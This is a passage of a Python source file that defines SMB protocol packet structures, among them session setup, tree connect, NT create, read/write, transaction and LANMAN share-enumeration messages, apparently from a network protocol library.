('LastAccessTime','<H'),\n        ('LastWriteDate','<H'),\n        ('LastWriteTime','<H'),\n        ('Reserved','<B=10'),\n    )\n\n# 2.2.8.4.4 SMB_SET_FILE_DISPOSITION_INFO\nclass SMBSetFileDispositionInfo(Structure):\n    structure = (\n        ('DeletePending','<B'),\n    )\n\n# 2.2.8.4.3 SMB_SET_FILE_BASIC_INFO\nclass SMBSetFileBasicInfo(Structure):\n    structure = (\n        ('CreationTime','<q'),\n        ('LastAccessTime','<q'),\n        ('LastWriteTime','<q'),\n        ('ChangeTime','<q'),\n        ('ExtFileAttributes','<L'),\n        ('Reserved','<L=0'),\n    )\n\n# FILE_STREAM_INFORMATION\nclass SMBFileStreamInformation(Structure):\n    commonHdr = (\n        ('NextEntryOffset','<L=0'),\n        ('StreamNameLength','<L=0'),\n        ('StreamSize','<q=0'),\n        ('StreamAllocationSize','<q=0'),\n        ('StreamName',':=\"\"'),\n    )\n\n# FILE_NETWORK_OPEN_INFORMATION\nclass SMBFileNetworkOpenInfo(Structure):\n    structure = (\n        ('CreationTime','<q=0'),\n        ('LastAccessTime','<q=0'),\n        ('LastWriteTime','<q=0'),\n        ('ChangeTime','<q=0'),\n        ('AllocationSize','<q=0'),\n        ('EndOfFile','<q=0'),\n        ('FileAttributes','<L=0'),\n        ('Reserved','<L=0'),\n    )\n\n# SMB_SET_FILE_END_OF_FILE_INFO\nclass SMBSetFileEndOfFileInfo(Structure):\n    structure = (\n        ('EndOfFile','<q'),\n    )\n\n# TRANS2_FIND_NEXT2\nclass SMBFindNext2_Parameters(AsciiOrUnicodeStructure):\n     commonHdr = (\n         ('SID','<H'),\n         ('SearchCount','<H'),\n         ('InformationLevel','<H'),\n         ('ResumeKey','<L'),\n         ('Flags','<H'),\n     )\n     AsciiStructure = (\n         ('FileName','z'),\n     )\n     UnicodeStructure = (\n         ('FileName','u'),\n     )\n\nclass SMBFindNext2Response_Parameters(Structure):\n     structure = (\n         ('SearchCount','<H'),\n         ('EndOfSearch','<H=1'),\n         ('EaErrorOffset','<H=0'),\n         ('LastNameOffset','<H=0'),\n     )\n\nclass SMBFindNext2_Data(Structure):\n     structure = (\n         ('GetExtendedAttributesListLength','_-GetExtendedAttributesList', 'self[\"GetExtendedAttributesListLength\"]'),\n         ('GetExtendedAttributesList',':'),\n     )\n\n\n# TRANS2_FIND_FIRST2\nclass SMBFindFirst2Response_Parameters(Structure):\n     structure = (\n         ('SID','<H'),\n         ('SearchCount','<H'),\n         ('EndOfSearch','<H=1'),\n         ('EaErrorOffset','<H=0'),\n         ('LastNameOffset','<H=0'),\n     )\n\nclass SMBFindFirst2_Parameters(AsciiOrUnicodeStructure):\n     commonHdr = (\n         ('SearchAttributes','<H'),\n         ('SearchCount','<H'),\n         ('Flags','<H'),\n         ('InformationLevel','<H'),\n         ('SearchStorageType','<L'),\n     )\n     AsciiStructure = (\n         ('FileName','z'),\n     )\n     UnicodeStructure = (\n         ('FileName','u'),\n     )\n\nclass SMBFindFirst2_Data(Structure):\n     structure = (\n         ('GetExtendedAttributesListLength','_-GetExtendedAttributesList', 'self[\"GetExtendedAttributesListLength\"]'),\n         ('GetExtendedAttributesList',':'),\n     )\n\n# TRANS2_SET_PATH_INFORMATION\nclass SMBSetPathInformation_Parameters(AsciiOrUnicodeStructure):\n    commonHdr = (\n        ('InformationLevel','<H'),\n        ('Reserved','<L'),\n    )\n    AsciiStructure = (\n        ('FileName','z'),\n    )\n    UnicodeStructure = (\n        ('FileName','u'),\n    )\n\nclass SMBSetPathInformationResponse_Parameters(Structure):\n    structure = (\n        ('EaErrorOffset','<H=0'),\n    )\n\n# TRANS2_SET_FILE_INFORMATION\nclass SMBSetFileInformation_Parameters(Structure):\n    structure = (\n        ('FID','<H'),\n        ('InformationLevel','<H'),\n        ('Reserved','<H'),\n    )\n\nclass SMBSetFileInformationResponse_Parameters(Structure):\n    structure = (\n        ('EaErrorOffset','<H=0'),\n    )\n\n# TRANS2_QUERY_FILE_INFORMATION\nclass SMBQueryFileInformation_Parameters(Structure):\n    structure = (\n        ('FID','<H'),\n        ('InformationLevel','<H'),\n    )\n\nclass SMBQueryFileInformationResponse_Parameters(Structure):\n    structure = (\n        ('EaErrorOffset','<H=0'),\n    )\n\nclass SMBQueryFileInformation_Data(Structure):\n    structure = (\n        ('GetExtendedAttributeList',':'),\n    )\n\n# TRANS2_QUERY_PATH_INFORMATION\nclass SMBQueryPathInformationResponse_Parameters(Structure):\n    structure = (\n        ('EaErrorOffset','<H=0'),\n    )\n\nclass SMBQueryPathInformation_Parameters(AsciiOrUnicodeStructure):\n    commonHdr = (\n        ('InformationLevel','<H'),\n        ('Reserved','<L=0'),\n    )\n    AsciiStructure = (\n        ('FileName','z'),\n    )\n    UnicodeStructure = (\n        ('FileName','u'),\n    )\n\nclass SMBQueryPathInformation_Data(Structure):\n    structure = (\n        ('GetExtendedAttributeList',':'),\n    )\n\n\n# SMB_QUERY_FILE_EA_INFO\nclass SMBQueryFileEaInfo(Structure):\n    structure = (\n        ('EaSize','<L=0'),\n    )\n\n# SMB_QUERY_FILE_BASIC_INFO\nclass SMBQueryFileBasicInfo(Structure):\n    structure = (\n        ('CreationTime','<q'),\n        ('LastAccessTime','<q'),\n        ('LastWriteTime','<q'),\n        ('LastChangeTime','<q'),\n        ('ExtFileAttributes','<L'),\n        #('Reserved','<L=0'),\n    )\n\n# SMB_QUERY_FILE_STANDARD_INFO\nclass SMBQueryFileStandardInfo(Structure):\n    structure = (\n        ('AllocationSize','<q'),\n        ('EndOfFile','<q'),\n        ('NumberOfLinks','<L=0'),\n        ('DeletePending','<B=0'),\n        ('Directory','<B'),\n    )\n\n# SMB_QUERY_FILE_ALL_INFO\nclass SMBQueryFileAllInfo(Structure):\n    structure = (\n        ('CreationTime','<q'),\n        ('LastAccessTime','<q'),\n        ('LastWriteTime','<q'),\n        ('LastChangeTime','<q'),\n        ('ExtFileAttributes','<L'),\n        ('Reserved','<L=0'),\n        ('AllocationSize','<q'),\n        ('EndOfFile','<q'),\n        ('NumberOfLinks','<L=0'),\n        ('DeletePending','<B=0'),\n        ('Directory','<B'),\n        ('Reserved','<H=0'),\n        ('EaSize','<L=0'),\n        ('FileNameLength','<L-FileName'),\n        ('FileName',':'),\n    )\n\n# \\PIPE\\LANMAN NetShareEnum\nclass SMBNetShareEnum(Structure):\n    structure = (\n        ('RAPOpcode','<H=0'),\n        ('ParamDesc','z'),\n        ('DataDesc','z'),\n        ('InfoLevel','<H'),\n        ('ReceiveBufferSize','<H'),\n    )\n\nclass SMBNetShareEnumResponse(Structure):\n    structure = (\n        ('Status','<H=0'),\n        ('Convert','<H=0'),\n        ('EntriesReturned','<H'),\n        ('EntriesAvailable','<H'),\n    )\n\nclass NetShareInfo1(Structure):\n    structure = (\n        ('NetworkName','13s'),\n        ('Pad','<B=0'),\n        ('Type','<H=0'),\n        ('RemarkOffsetLow','<H=0'),\n        ('RemarkOffsetHigh','<H=0'),\n    )\n\n# \\PIPE\\LANMAN NetServerGetInfo\nclass SMBNetServerGetInfoResponse(Structure):\n    structure = (\n        ('Status','<H=0'),\n        ('Convert','<H=0'),\n        ('TotalBytesAvailable','<H'),\n    )\n\nclass SMBNetServerInfo1(Structure):\n    # Level 1 Response\n    structure = (\n        ('ServerName','16s'),\n        ('MajorVersion','B=5'),\n        ('MinorVersion','B=0'),\n        ('ServerType','<L=3'),\n        ('ServerCommentLow','<H=0'),\n        ('ServerCommentHigh','<H=0'),\n    )\n\n# \\PIPE\\LANMAN NetShareGetInfo\nclass SMBNetShareGetInfo(Structure):\n    structure = (\n        ('RAPOpcode','<H=0'),\n        ('ParamDesc','z'),\n        ('DataDesc','z'),\n        ('ShareName','z'),\n        ('InfoLevel','<H'),\n        ('ReceiveBufferSize','<H'),\n    )\n\nclass SMBNetShareGetInfoResponse(Structure):\n    structure = (\n        ('Status','<H=0'),\n        ('Convert','<H=0'),\n        ('TotalBytesAvailable','<H'),\n    )\n\n############# Security Features\nclass SecurityFeatures(Structure):\n    structure = (\n        ('Key','<L=0'),\n        ('CID','<H=0'),\n        ('SequenceNumber','<H=0'),\n    )\n\n############# SMB_COM_QUERY_INFORMATION2 (0x23)\nclass SMBQueryInformation2_Parameters(Structure):\n    structure = (\n        ('Fid','<H'),\n    )\n\nclass SMBQueryInformation2Response_Parameters(Structure):\n    structure = (\n        ('CreateDate','<H'),\n        ('CreationTime','<H'),\n        ('LastAccessDate','<H'),\n        ('LastAccessTime','<H'),\n        ('LastWriteDate','<H'),\n        ('LastWriteTime','<H'),\n        ('FileDataSize','<L'),\n        ('FileAllocationSize','<L'),\n        ('FileAttributes','<L'),\n    )\n\n\n\n############# SMB_COM_SESSION_SETUP_ANDX (0x73)\nclass SMBSessionSetupAndX_Parameters(SMBAndXCommand_Parameters):\n    structure = (\n        ('MaxBuffer','<H'),\n        ('MaxMpxCount','<H'),\n        ('VCNumber','<H'),\n        ('SessionKey','<L'),\n        ('AnsiPwdLength','<H'),\n        ('UnicodePwdLength','<H'),\n        ('_reserved','<L=0'),\n        ('Capabilities','<L'),\n    )\n\nclass SMBSessionSetupAndX_Extended_Parameters(SMBAndXCommand_Parameters):\n    structure = (\n        ('MaxBufferSize','<H'),\n        ('MaxMpxCount','<H'),\n        ('VcNumber','<H'),\n        ('SessionKey','<L'),\n        ('SecurityBlobLength','<H'),\n        ('Reserved','<L=0'),\n        ('Capabilities','<L'),\n    )\n\nclass SMBSessionSetupAndX_Data(AsciiOrUnicodeStructure):\n    AsciiStructure = (\n        ('AnsiPwdLength','_-AnsiPwd','self[\"AnsiPwdLength\"]'),\n        ('UnicodePwdLength','_-UnicodePwd','self[\"UnicodePwdLength\"]'),\n        ('AnsiPwd',':=\"\"'),\n        ('UnicodePwd',':=\"\"'),\n        ('Account','z=\"\"'),\n        ('PrimaryDomain','z=\"\"'),\n        ('NativeOS','z=\"\"'),\n        ('NativeLanMan','z=\"\"'),\n    )\n\n    UnicodeStructure = (\n        ('AnsiPwdLength','_-AnsiPwd','self[\"AnsiPwdLength\"]'),\n        ('UnicodePwdLength','_-UnicodePwd','self[\"UnicodePwdLength\"]'),\n        ('AnsiPwd',':=\"\"'),\n        ('UnicodePwd',':=\"\"'),\n        ('Account','u=\"\"'),\n        ('PrimaryDomain','u=\"\"'),\n        ('NativeOS','u=\"\"'),\n        ('NativeLanMan','u=\"\"'),\n    )\n\nclass SMBSessionSetupAndX_Extended_Data(AsciiOrUnicodeStructure):\n    AsciiStructure = (\n        ('SecurityBlobLength','_-SecurityBlob','self[\"SecurityBlobLength\"]'),\n        ('SecurityBlob',':'),\n        ('NativeOS','z=\"\"'),\n        ('NativeLanMan','z=\"\"'),\n    )\n\n    UnicodeStructure = (\n        ('SecurityBlobLength','_-SecurityBlob','self[\"SecurityBlobLength\"]'),\n        ('SecurityBlob',':'),\n        ('NativeOS','u=\"\"'),\n        ('NativeLanMan','u=\"\"'),\n    )\n\nclass SMBSessionSetupAndXResponse_Parameters(SMBAndXCommand_Parameters):\n    structure = (\n        ('Action','<H'),\n    )\n\nclass SMBSessionSetupAndX_Extended_Response_Parameters(SMBAndXCommand_Parameters):\n    structure = (\n        ('Action','<H=0'),\n        ('SecurityBlobLength','<H'),\n    )\n\nclass SMBSessionSetupAndXResponse_Data(AsciiOrUnicodeStructure):\n    AsciiStructure = (\n        ('NativeOS','z=\"\"'),\n        ('NativeLanMan','z=\"\"'),\n        ('PrimaryDomain','z=\"\"'),\n    )\n\n    UnicodeStructure = (\n        ('NativeOS','u=\"\"'),\n        ('NativeLanMan','u=\"\"'),\n        ('PrimaryDomain','u=\"\"'),\n    )\n\nclass SMBSessionSetupAndX_Extended_Response_Data(AsciiOrUnicodeStructure):\n    AsciiStructure = (\n        ('SecurityBlobLength','_-SecurityBlob','self[\"SecurityBlobLength\"]'),\n        ('SecurityBlob',':'),\n        ('NativeOS','z=\"\"'),\n        ('NativeLanMan','z=\"\"'),\n    )\n\n    UnicodeStructure = (\n        ('SecurityBlobLength','_-SecurityBlob','self[\"SecurityBlobLength\"]'),\n        ('SecurityBlob',':'),\n        ('PadLen','_-Pad','1 if (len(self[\"SecurityBlob\"]) % 2 == 0) else 0'),\n        ('Pad',':=\"\"'),\n        ('NativeOS','u=\"\"'),\n        ('NativeLanMan','u=\"\"'),\n    )\n    def getData(self):\n        if self.structure == self.UnicodeStructure:\n            if len(self['SecurityBlob']) % 2 == 0:\n                self['Pad'] = '\\x00'\n        return AsciiOrUnicodeStructure.getData(self)\n\n############# SMB_COM_TREE_CONNECT (0x70)\nclass SMBTreeConnect_Parameters(SMBCommand_Parameters):\n    structure = (\n    )\n\nclass SMBTreeConnect_Data(SMBCommand_Parameters):\n    structure = (\n        ('PathFormat','\"\\x04'),\n        ('Path','z'),\n        ('PasswordFormat','\"\\x04'),\n        ('Password','z'),\n        ('ServiceFormat','\"\\x04'),\n        ('Service','z'),\n    )\n\n############# SMB_COM_TREE_CONNECT_ANDX (0x75)\nclass SMBTreeConnectAndX_Parameters(SMBAndXCommand_Parameters):\n    structure = (\n        ('Flags','<H=0'),\n        ('PasswordLength','<H'),\n    )\n\nclass SMBTreeConnectAndXResponse_Parameters(SMBAndXCommand_Parameters):\n    structure = (\n        ('OptionalSupport','<H=0'),\n    )\n\nclass SMBTreeConnectAndXExtendedResponse_Parameters(SMBAndXCommand_Parameters):\n    structure = (\n        ('OptionalSupport','<H=1'),\n        ('MaximalShareAccessRights','<L=0x1fffff'),\n        ('GuestMaximalShareAccessRights','<L=0x1fffff'),\n    )\n\nclass SMBTreeConnectAndX_Data(AsciiOrUnicodeStructure):\n    AsciiStructure = (\n        ('_PasswordLength','_-Password','self[\"_PasswordLength\"]'),\n        ('Password',':'),\n        ('Path','z'),\n        ('Service','z'),\n    )\n\n    UnicodeStructure = (\n        ('_PasswordLength','_-Password','self[\"_PasswordLength\"] if self[\"_PasswordLength\"] > 0 else 1'),\n        ('Password',':'),\n        ('Path','u'),\n        ('Service','z'),\n    )\n\nclass SMBTreeConnectAndXResponse_Data(AsciiOrUnicodeStructure):\n    AsciiStructure = (\n        ('Service','z'),\n        ('PadLen','_-Pad','self[\"PadLen\"]'),\n        ('Pad',':=\"\"'),\n        ('NativeFileSystem','z'),\n    )\n    UnicodeStructure = (\n        ('Service','z'),\n        ('PadLen','_-Pad','self[\"PadLen\"]'),\n        ('Pad',':=\"\"'),\n        ('NativeFileSystem','u'),\n    )\n\n############# SMB_COM_NT_CREATE_ANDX (0xA2)\nclass SMBNtCreateAndX_Parameters(SMBAndXCommand_Parameters):\n    structure = (\n        ('_reserved', 'B=0'),\n        ('FileNameLength','<H'),     # NameLength\n        ('CreateFlags','<L'),        # Flags\n        ('RootFid','<L=0'),          # RootDirectoryFID\n        ('AccessMask','<L'),         # DesiredAccess\n        ('AllocationSizeLo','<L=0'), # AllocationSize\n        ('AllocationSizeHi','<L=0'),\n        ('FileAttributes','<L=0'),   # ExtFileAttributes\n        ('ShareAccess','<L=3'),      #\n        ('Disposition','<L=1'),      # CreateDisposition\n        ('CreateOptions','<L'),      # CreateOptions\n        ('Impersonation','<L=2'),\n        ('SecurityFlags','B=3'),\n    )\n\nclass SMBNtCreateAndXResponse_Parameters(SMBAndXCommand_Parameters):\n    # XXX Is there a memory leak in the response for NTCreate (where the Data section would be) in Win 2000, Win XP, and Win 2003?\n    structure = (\n        ('OplockLevel', 'B=0'),\n        ('Fid','<H'),\n        ('CreateAction','<L'),\n        ('CreateTime','<q=0'),\n        ('LastAccessTime','<q=0'),\n        ('LastWriteTime','<q=0'),\n        ('LastChangeTime','<q=0'),\n        ('FileAttributes','<L=0x80'),\n        ('AllocationSize','<q=0'),\n        ('EndOfFile','<q=0'),\n        ('FileType','<H=0'),\n        ('IPCState','<H=0'),\n        ('IsDirectory','B'),\n    )\n\nclass SMBNtCreateAndXExtendedResponse_Parameters(SMBAndXCommand_Parameters):\n    # [MS-SMB] Extended response description\n    structure = (\n        ('OplockLevel', 'B=0'),\n        ('Fid','<H'),\n        ('CreateAction','<L'),\n        ('CreateTime','<q=0'),\n        ('LastAccessTime','<q=0'),\n        ('LastWriteTime','<q=0'),\n        ('LastChangeTime','<q=0'),\n        ('FileAttributes','<L=0x80'),\n        ('AllocationSize','<q=0'),\n        ('EndOfFile','<q=0'),\n        ('FileType','<H=0'),\n        ('IPCState','<H=0'),\n        ('IsDirectory','B'),\n        ('VolumeGUID','16s'),\n        ('FileIdLow','<L=0'),\n        ('FileIdHigh','<L=0'),\n        ('MaximalAccessRights','<L=0x12019b'),\n        ('GuestMaximalAccessRights','<L=0x120089'),\n    )\n\nclass SMBNtCreateAndX_Data(AsciiOrUnicodeStructure):\n    AsciiStructure = (\n        ('FileName','z'),\n    )\n    UnicodeStructure = (\n        ('Pad','B'),\n        ('FileName','u'),\n    )\n\n############# SMB_COM_OPEN_ANDX (0xD2)\nclass SMBOpenAndX_Parameters(SMBAndXCommand_Parameters):\n    structure = (\n        ('Flags','<H=0'),\n        ('DesiredAccess','<H=0'),\n        ('SearchAttributes','<H=0'),\n        ('FileAttributes','<H=0'),\n        ('CreationTime','<L=0'),\n        ('OpenMode','<H=1'),        # SMB_O_OPEN = 1\n        ('AllocationSize','<L=0'),\n        ('Reserved','8s=\"\"'),\n    )\n\nclass SMBOpenAndX_Data(SMBNtCreateAndX_Data):\n    pass\n\nclass SMBOpenAndXResponse_Parameters(SMBAndXCommand_Parameters):\n    structure = (\n        ('Fid','<H=0'),\n        ('FileAttributes','<H=0'),\n        ('LastWriten','<L=0'),\n        ('FileSize','<L=0'),\n        ('GrantedAccess','<H=0'),\n        ('FileType','<H=0'),\n        ('IPCState','<H=0'),\n        ('Action','<H=0'),\n        ('ServerFid','<L=0'),\n        ('_reserved','<H=0'),\n    )\n\n############# SMB_COM_WRITE (0x0B)\nclass SMBWrite_Parameters(SMBCommand_Parameters):\n    structure = (\n        ('Fid','<H'),\n        ('Count','<H'),\n        ('Offset','<L'),\n        ('Remaining','<H'),\n    )\n\nclass SMBWriteResponse_Parameters(SMBCommand_Parameters):\n    structure = (\n        ('Count','<H'),\n    )\n\nclass SMBWrite_Data(Structure):\n    structure = (\n        ('BufferFormat','<B=1'),\n        ('DataLength','<H-Data'),\n        ('Data',':'),\n    )\n\n\n############# SMB_COM_WRITE_ANDX (0x2F)\nclass SMBWriteAndX_Parameters(SMBAndXCommand_Parameters):\n    structure = (\n        ('Fid','<H=0'),\n        ('Offset','<L=0'),\n        ('_reserved','<L=0xff'),\n        ('WriteMode','<H=8'),\n        ('Remaining','<H=0'),\n        ('DataLength_Hi','<H=0'),\n        ('DataLength','<H=0'),\n        ('DataOffset','<H=0'),\n        ('HighOffset','<L=0'),\n    )\n\nclass SMBWriteAndX_Data_Short(Structure):\n     structure = (\n         ('_PadLen','_-Pad','self[\"DataOffset\"] - 59'),\n         ('Pad',':'),\n         #('Pad','<B=0'),\n         ('DataLength','_-Data','self[\"DataLength\"]'),\n         ('Data',':'),\n     )\n\nclass SMBWriteAndX_Data(Structure):\n     structure = (\n         ('_PadLen','_-Pad','self[\"DataOffset\"] - 63'),\n         ('Pad',':'),\n         #('Pad','<B=0'),\n         ('DataLength','_-Data','self[\"DataLength\"]'),\n         ('Data',':'),\n     )\n\n\nclass SMBWriteAndX_Parameters_Short(SMBAndXCommand_Parameters):\n    structure = (\n        ('Fid','<H'),\n        ('Offset','<L'),\n        ('_reserved','<L=0xff'),\n        ('WriteMode','<H=8'),\n        ('Remaining','<H'),\n        ('DataLength_Hi','<H=0'),\n        ('DataLength','<H'),\n        ('DataOffset','<H=0'),\n    )\n\nclass SMBWriteAndXResponse_Parameters(SMBAndXCommand_Parameters):\n    structure = (\n        ('Count','<H'),\n        ('Available','<H'),\n        ('Reserved','<L=0'),\n    )\n\n############# SMB_COM_WRITE_RAW (0x1D)\nclass SMBWriteRaw_Parameters(SMBCommand_Parameters):\n    structure = (\n        ('Fid','<H'),\n        ('Count','<H'),\n        ('_reserved','<H=0'),\n        ('Offset','<L'),\n        ('Timeout','<L=0'),\n        ('WriteMode','<H=0'),\n        ('_reserved2','<L=0'),\n        ('DataLength','<H'),\n        ('DataOffset','<H=0'),\n    )\n\n############# SMB_COM_READ (0x0A)\nclass SMBRead_Parameters(SMBCommand_Parameters):\n    structure = (\n        ('Fid','<H'),\n        ('Count','<H'),\n        ('Offset','<L'),\n        ('Remaining','<H=Count'),\n    )\n\nclass SMBReadResponse_Parameters(Structure):\n    structure = (\n        ('Count','<H=0'),\n        ('_reserved','8s=\"\"'),\n    )\n\nclass SMBReadResponse_Data(Structure):\n    structure = (\n        ('BufferFormat','<B=0x1'),\n        ('DataLength','<H-Data'),\n        ('Data',':'),\n    )\n\n############# SMB_COM_READ_RAW (0x1A)\nclass SMBReadRaw_Parameters(SMBCommand_Parameters):\n    structure = (\n        ('Fid','<H'),\n        ('Offset','<L'),\n        ('MaxCount','<H'),\n        ('MinCount','<H=MaxCount'),\n        ('Timeout','<L=0'),\n        ('_reserved','<H=0'),\n    )\n\n############# SMB_COM_NT_TRANSACT  (0xA0)\nclass SMBNTTransaction_Parameters(SMBCommand_Parameters):\n    structure = (\n        ('MaxSetupCount','<B=0'),\n        ('Reserved1','<H=0'),\n        ('TotalParameterCount','<L'),\n        ('TotalDataCount','<L'),\n        ('MaxParameterCount','<L=1024'),\n        ('MaxDataCount','<L=65504'),\n        ('ParameterCount','<L'),\n        ('ParameterOffset','<L'),\n        ('DataCount','<L'),\n        ('DataOffset','<L'),\n        ('SetupCount','<B=len(Setup)//2'),\n        ('Function','<H=0'),\n        ('SetupLength','_-Setup','SetupCount*2'),\n        ('Setup',':'),\n    )\n\nclass SMBNTTransactionResponse_Parameters(SMBCommand_Parameters):\n    structure = (\n        ('Reserved1','3s=\"\"'),\n        ('TotalParameterCount','<L'),\n        ('TotalDataCount','<L'),\n        ('ParameterCount','<L'),\n        ('ParameterOffset','<L'),\n        ('ParameterDisplacement','<L=0'),\n        ('DataCount','<L'),\n        ('DataOffset','<L'),\n        ('DataDisplacement','<L=0'),\n        ('SetupCount','<B=0'),\n        ('SetupLength','_-Setup','SetupCount*2'),\n        ('Setup',':'),\n    )\n\nclass SMBNTTransaction_Data(Structure):\n    structure = (\n        ('Pad1Length','_-Pad1','self[\"Pad1Length\"]'),\n        ('Pad1',':'),\n        ('NT_Trans_ParametersLength','_-NT_Trans_Parameters','self[\"NT_Trans_ParametersLength\"]'),\n        ('NT_Trans_Parameters',':'),\n        ('Pad2Length','_-Pad2','self[\"Pad2Length\"]'),\n        ('Pad2',':'),\n        ('NT_Trans_DataLength','_-NT_Trans_Data','self[\"NT_Trans_DataLength\"]'),\n        ('NT_Trans_Data',':'),\n    )\n\nclass SMBNTTransactionResponse_Data(Structure):\n    structure = (\n        ('Pad1Length','_-Pad1','self[\"Pad1Length\"]'),\n        ('Pad1',':'),\n        ('Trans_ParametersLength','_-Trans_Parameters','self[\"Trans_ParametersLength\"]'),\n        ('Trans_Parameters',':'),\n        ('Pad2Length','_-Pad2','self[\"Pad2Length\"]'),\n        ('Pad2',':'),\n        ('Trans_DataLength','_-Trans_Data','self[\"Trans_DataLength\"]'),\n        ('Trans_Data',':'),\n    )\n\n\n############# SMB_COM_TRANSACTION2_SECONDARY (0x33)\nclass SMBTransaction2Secondary_Parameters(SMBCommand_Parameters):\n    structure = (\n        ('TotalParameterCount','<H'),\n        ('TotalDataCount','<H'),\n        ('ParameterCount','<H'),\n        ('ParameterOffset','<H'),\n        ('ParameterDisplacement','<H'),\n        ('DataCount','<H'),\n        ('DataOffset','<H'),\n        ('DataDisplacement','<H=0'),\n        ('FID','<H'),\n    )\n\nclass SMBTransaction2Secondary_Data(Structure):\n    structure = (\n        ('Pad1Length','_-Pad1','self[\"Pad1Length\"]'),\n        ('Pad1',':'),\n        ('Trans_ParametersLength','_-Trans_Parameters','self[\"Trans_ParametersLength\"]'),\n        ('Trans_Parameters',':'),\n        ('Pad2Length','_-Pad2','self[\"Pad2Length\"]'),\n        ('Pad2',':'),\n        ('Trans_DataLength','_-Trans_Data','self[\"Trans_DataLength\"]'),\n        ('Trans_Data',':'),\n    )\n\n\n############# SMB_COM_TRANSACTION2 (0x32)\n\nclass SMBTransaction2_Parameters(SMBCommand_Parameters):\n    structure = (\n        ('TotalParameterCount','<H'),\n        ('TotalDataCount','<H'),\n        ('MaxParameterCount','<H=1024'),\n        ('MaxDataCount','<H=65504'),\n        ('MaxSetupCount','<B=0'),\n        ('Reserved1','<B=0'),\n        ('Flags','<H=0'),\n        ('Timeout','<L=0'),\n        ('Reserved2','<H=0'),\n        ('ParameterCount','<H'),\n        ('ParameterOffset','<H'),\n        ('DataCount','<H'),\n        ('DataOffset','<H'),\n        ('SetupCount','<B=len(Setup)//2'),\n        ('Reserved3','<B=0'),\n        ('SetupLength','_-Setup','SetupCount*2'),\n        ('Setup',':'),\n    )\n\nclass SMBTransaction2Response_Parameters(SMBCommand_Parameters):\n    structure = (\n        ('TotalParameterCount','<H'),\n        ('TotalDataCount','<H'),\n        ('Reserved1','<H=0'),\n        ('ParameterCount','<H'),\n        ('ParameterOffset','<H'),\n        ('ParameterDisplacement','<H=0'),\n        ('DataCount','<H'),\n        ('DataOffset','<H'),\n        ('DataDisplacement','<H=0'),\n        ('SetupCount','<B=0'),\n        ('Reserved2','<B=0'),\n        ('SetupLength','_-Setup','SetupCount*2'),\n        ('Setup',':'),\n    )\n\nclass SMBTransaction2_Data(Structure):\n    structure = (\n#        ('NameLength','_-Name','1'),\n#        ('Name',':'),\n        ('Pad1Length','_-Pad1','self[\"Pad1Length\"]'),\n        ('Pad1',':'),\n        ('Trans_ParametersLength','_-Trans_Parameters','self[\"Trans_ParametersLength\"]'),\n        ('Trans_Parameters',':'),\n        ('Pad2Length','_-Pad2','self[\"Pad2Length\"]'),\n        ('Pad2',':'),\n        ('Trans_DataLength','_-Trans_Data','self[\"Trans_DataLength\"]'),\n        ('Trans_Data',':'),\n    )\n\nclass SMBTransaction2Response_Data(Structure):\n    structure = (\n        ('Pad1Length','_-Pad1','self[\"Pad1Length\"]'),\n        ('Pad1',':'),\n        ('Trans_ParametersLength','_-Trans_Parameters','self[\"Trans_ParametersLength\"]'),\n        ('Trans_Parameters',':'),\n        ('Pad2Length','_-Pad2','self[\"Pad2Length\"]'),\n        ('Pad2',':'),\n        ('Trans_DataLength','_-Trans_Data','self[\"Trans_DataLength\"]'),\n        ('Trans_Data',':'),\n    )\n\n############# SMB_COM_QUERY_INFORMATION (0x08)\n\nclass SMBQueryInformation_Data(AsciiOrUnicodeStructure):\n    AsciiStructure = (\n        ('BufferFormat','B=4'),\n        ('FileName','z'),\n    )\n    UnicodeStructure = (\n        ('BufferFormat','B=4'),\n        ('FileName','u'),\n    )\n\n\nclass SMBQueryInformationResponse_Parameters(Structure):\n    structure = (\n        ('FileAttributes','<H'),\n        ('LastWriteTime','<L'),\n        ('FileSize','<L'),\n        ('Reserved','\"0123456789'),\n    )\n\n############# SMB_COM_TRANSACTION (0x25)\nclass SMBTransaction_Parameters(SMBCommand_Parameters):\n    structure = (\n        ('TotalParameterCount','<H'),\n        ('TotalDataCount','<H'),\n        ('MaxParameterCount','<H=1024'),\n        ('MaxDataCount','<H=65504'),\n        ('MaxSetupCount','<B=0'),\n        ('Reserved1','<B=0'),\n        ('Flags','<H=0'),\n        ('Timeout','<L=0'),\n        ('Reserved2','<H=0'),\n        ('ParameterCount','<H'),\n        ('ParameterOffset','<H'),\n        ('DataCount','<H'),\n        ('DataOffset','<H'),\n        ('SetupCount','<B=len(Setup)//2'),\n        ('Reserved3','<B=0'),\n        ('SetupLength','_-Setup','SetupCount*2'),\n        ('Setup',':'),\n    )\n\nclass SMBTransactionResponse_Parameters(SMBCommand_Parameters):\n    structure = (\n        ('TotalParameterCount','<H'),\n        ('TotalDataCount','<H'),\n        ('Reserved1','<H=0'),\n        ('ParameterCount','<H'),\n        ('ParameterOffset','<H'),\n        ('ParameterDisplacement','<H=0'),\n        ('DataCount','<H'),\n        ('DataOffset','<H'),\n        ('DataDisplacement','<H=0'),\n        ('SetupCount','<B'),\n        ('Reserved2','<B=0'),\n        ('SetupLength','_-Setup','SetupCount*2'),\n        ('Setup',':'),\n    )\n\n# TODO: We should merge these both. But this will require fixing\n# the instances where this structure is used on the client side\nclass SMBTransaction_SData(AsciiOrUnicodeStructure):\n    AsciiStructure = (\n        ('Name','z'),\n        ('Trans_ParametersLength','_-Trans_Parameters'),\n        ('Trans_Parameters',':'),\n        ('Trans_DataLength','_-Trans_Data'),\n        ('Trans_Data',':'),\n    )\n    UnicodeStructure = (\n        ('Pad','B'),\n        ('Name','u'),\n        ('Trans_ParametersLength','_-Trans_Parameters'),\n        ('Trans_Parameters',':'),\n        ('Trans_DataLength','_-Trans_Data'),\n        ('Trans_Data',':'),\n    )\n\nclass SMBTransaction_Data(Structure):\n    structure = (\n        ('NameLength','_-Name'),\n        ('Name',':'),\n        ('Trans_ParametersLength','_-Trans_Parameters'),\n        ('Trans_Parameters',':'),\n        ('Trans_DataLength','_-Trans_Data'),\n        ('Trans_Data',':'),\n    )\n\nclass SMBTransactionResponse_Data(Structure):\n    structure = (\n        ('Trans_ParametersLength','_-Trans_Parameters'),\n        ('Trans_Parameters',':'),\n        ('Trans_DataLength','_-Trans_Data'),\n        ('Trans_Data',':'),\n    )\n\n############# SMB_COM_READ_ANDX (0x2E)\nclass SMBReadAndX_Parameters(SMBAndXCommand_Parameters):\n    structure = (\n        ('Fid','<H'),\n        ('Offset','<L'),\n        ('MaxCount','<H'),\n        ('MinCount','<H=MaxCount'),\n        ('_reserved','<L=0x0'),\n        ('Remaining','<H=MaxCount'),\n        